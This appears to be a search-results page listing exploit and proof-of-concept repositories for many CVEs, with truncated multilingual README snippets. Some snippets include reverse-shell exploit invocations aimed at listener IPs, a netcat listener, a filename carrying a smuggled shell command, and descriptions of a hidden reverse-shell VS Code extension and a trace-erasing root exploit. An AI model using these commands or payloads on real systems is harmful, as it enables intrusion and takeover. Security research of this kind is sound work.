38419 matches found
CVE-2026-3300
CVE-2026-3300 - Wordpress ⚡ 簡単な使い方 このプロジェクトは、以下のような安全で許可された環境でのみ使用してください。 ローカル仮想マシン Docker コンテナ 隔離されたラボ環境 許可されたペネトレーションテスト環境 セットアップ例: git clone cd プロジェクトは以下のようにPythonを使用します 仮想環境を作成 python -m venv venv 仮想環境を有効化 macOS / Linux source venv/bin/activate Windows Git Bash / WSL source...
CVE-2026-15410
cve-id ⚡ 简单用法 仅在安全且授权的环境中使用本项目，例如： 本地虚拟机 Docker 容器 隔离的实验室环境 授权的渗透测试环境 示例设置： git clone cd Project use python follow below Create a virtual environment python -m venv venv Activate the virtual environment macOS / Linux source venv/bin/activate Windows Git Bash / WSL source venv/Scripts/activate...
aquos-r6-ghostlock
AQUOS R6 GhostLock 临时 root 针对 Sharp AQUOS R6 的设备专用 Linux 5.4 移植版 GhostLock（CVE-2026-43499）。已验证的目标是运行 Android 11 构建版本 S0029 / 01.00.06、内核 5.4.61-qgki 的 SoftBank A101SH（Judau）。 ghostlock54 目标可获取真实的 UID/GID 0，将 SELinux 更改为 permissive，并直接通过现有的 ADB 传输打开交互式 root shell。它不监听 TCP，也不授予完整的 Linux 能力集。 构建 需要...
CVE-2026-94293
An unauthenticated remote attacker can modify Asset Administration Shell submodel data via PATCH requests and can read all data exposed by the GET endpoints...
EUVD-2026-92985
An unauthenticated remote attacker can modify Asset Administration Shell submodel data via PATCH requests and can read all data exposed by the GET endpoints...
CVE-2020-11108-PoC
CVE-2020-11108-PoC このリポジトリには2つのPoCがあります。cve-2020-11108-rce.py を実行すると、www-data ユーザーとしてシェルが取得できます。root-cve-2020-11108-rce.py を実行すると、シェルを取得し、権限を root に昇格させます。注意: この操作は破壊的です。teleporter.php を上書きする必要があるためです。 詳しい説明/レポートについては、こちらのブログ記事をご覧ください。...
CVE-2021-31630
OpenPLC WebServer v3 - 认证 RCE CVE-2021-31630 此漏洞利用基于 Exploit-DB 上由 Fellipe Oliveira 制作的漏洞利用。 首先，进行身份认证 上传恶意 C 文件 编译它 启动 PLC（发起反向Shell） 停止 PLC（无需运行，反向Shell已发起） └─ python3 customexploit.py --url http://10.10.11.7:8080 --username openplc --password openplc --listenerip 10.10.16.4 --listenerport 8888...
CVE-2025-52970
CVE-2025-52970 FortiWeb 認証バイパスからリモートコード実行へのエクスプロイト 特徴 武器化され、対話型シェルを追加してリモートコード実行を可能にする 使用方法 python CVE-2025-52970.py -t target.com デモ 参考文献 https://github.com/Hex00-0x4/FortiWeb-CVE-2025-52970-Authentication-Bypass 免責事項 この概念実証は教育目的のみであり、不正使用による責任は負いません。...
CVE-2024-54887-PoC
CVE-2024-54887 PoC en TypeScript Este repositorio contiene una reescritura en TypeScript ts-node del PoC público en Python para CVE-2024-54887 TP-Link TL-WR940N v3/v4 RCE autenticado. Requisitos previos Node.js 20+ Instalación npm install Uso npx ts-node .\cve-2024-54887.ts --ip Credenciales...
CVE-2007-2447
CVE-2007-2447 Samba 3.0.20 CVE-2007-2447 エクスプロイト python3 smb3.0.20exp.py -lh localhost -lp local port -t target Netcat リスナーを作成する nc -nlvp 4444 スクリプトを実行する python3 smb3.0.20exp.py -lh 10.10.16.18 -lp 4444 -t 10.10.10.3...
PageBuilderCK-CVE-2026-56290-Exploit
Page Builder CK — fonts.save RCE Probe CVE-2026-56290 BlackHat Team によるJoomla Page Builder CK fonts.save 脆弱性の概念実証スキャナー。 POC CVE-2026-56290 著者: @mrzblackhat チーム: BlackHat Team クレジット: Peyman Siyahi · MR.PERSIA 概要 このツールは、脆弱な compagebuilderck コンポーネントが動作するJoomlaサイトを調査します。fonts.save...
CVE-2026-39987-PoC
CVE-2026-39987 PoC 概述 Marimo = 0.20.4 受 /terminal/ws WebSocket 端点中一个预认证 RCE 漏洞的影响。 该端点会检查应用模式和终端支持情况，但在接受 WebSocket 连接之前不会验证身份认证 。随后它会创建一个 PTY shell，允许未认证的攻击者以 Marimo 进程的权限执行命令。 根本原因 与其他调用 validateauth 的 WebSocket 端点不同，易受攻击的终端端点直接接受连接： if appstate.mode != SessionMode.EDIT: await websocket.close...
CVE-2025-7847-POC
CVE-2025-7847 WordPressプラグイン 認証済み購読者による任意ファイルアップロード PoC WordPressプラグイン AI Engine 2.9.3 - 2.9.4 概念実証 この脆弱性は、「Public API」オプションが有効になっている場合にのみ悪用可能であることに注意してください。このオプションはデフォルトでは無効であり、またBearer Tokenが設定されておらず、カスタム認証が追加されてAPIを保護していない場合に限ります。 自動化バージョン python3 exploit-auto.py --url "http://target.com"...
POC-CVE-2026-19679
CVE-2026-19679 —— 上传文件名清理不足（输入验证） 状态：已确认 ，在 6.7.2-14.el9 实验室环境（2026-08-20）中验证。POST /rest/auditFile 携带 tailoringOriginalFilename = "poc;touch$IFSpoc19679;me.xml" 返回 HTTP 200，并 注册了 AuditFile 1000002 —— 该包含 shell 元字符的文件名通过了验证并被 端到端存储。在 6.9.0 上，同一请求被拒绝，返回 "Invalid tailoring filename."。 漏洞...
globalprotect-ca-cert-ipc
c2us.exe - 以登录用户在桌面会话中的身份启动命令。在本例中，以 SYSTEM 身份在非特权用户的桌面会话中启动 cmd.exe。 c2us.c - c2us.exe 的源代码。 epinject.exe - 入口点注入器，用于生成新进程并在其入口点注入代码。 loadgpsend.bin - 使用 epinject.exe 注入 PanGPA.exe 的载荷，用于运行主漏洞利用主体 c:\windows\temp\gpsend.dll crypt.c - 与 Globalprotect 兼容的加密实现。 gpcaupgrade.c - 主要漏洞利用代码。 gpupgrade.d...
bassmaster-rce
bassmaster-rce CVE-2014-7205を悪用し、任意のJavaScriptを注入することでリモートコード実行（RCE）を実現します。 私はLuuPhuによるこの投稿（ベトナム語）を見つけました。NodeJSでコードを書いたことはありますが、それを悪用したことはなかったので、今日やってみようと思いました。 Python PoCには2種類のリバースシェルが含まれています： 1. シンプルなNCリバースシェル 2. Riyaz Walikarのibreak.softwareから引用した「シンプルな」NodeJSリバースシェル 免責事項 完全性のために：...
CVE-2025-55319-PoC
Reference: CVE-2025-55319 针对 HTB "Checkpoint" 挑战的 VS Code .vsix 扩展概念验证。 安装后，扩展自动激活并产生一个隐藏的 PowerShell 反向 shell 回连到攻击者。 ⚠️ 仅限授权使用。 这是一个 CTF/实验室环境产物。仅可部署在你拥有或明确授权测试（例如 HTB 目标机）的机器上。 工作原理 extension/package.json — 扩展清单。"activationEvents": "" 使它在 VS Code 加载时即刻运行，无需用户交互。 extension/extension.js — 在...
CVE-2018-3191-Rce-Exploit
CVE-2018-3191-Rce-Exploit 作者：Break 第一步：java -jar GenPayload.java output SJpayload.bin，地址为RMI服务器地址 第二步：java -jar RMISERVER.jar httpaddress，RMI服务器监听端口1099并在Web服务器上加载远程反向类 第三步：将两个文件（反向shell） LoadObject.class 和 StreamConnection.class 放在HTTP服务器上，并能通过URL访问 第四步：nc -llp 2222 第五步：python weblogic.py...
CVE-2025-27591
CVE-2025-27591 はじめに v0.9.0 未満の below バージョンは、プログラムがワールド書き込み可能なログファイルを作成するため、ローカル権限昇格の脆弱性の影響を受けます。攻撃者はこのワールド書き込み可能なログファイルを、システム上の任意の重要ファイルへのシンボリックリンクに置き換え、そのファイルを編集して root としてログインすることができます。 以下の脆弱性は /etc/ld.so.preload を標的にして、すべての侵害痕跡を消去した上で root 権限でリバースシェルを起動します。...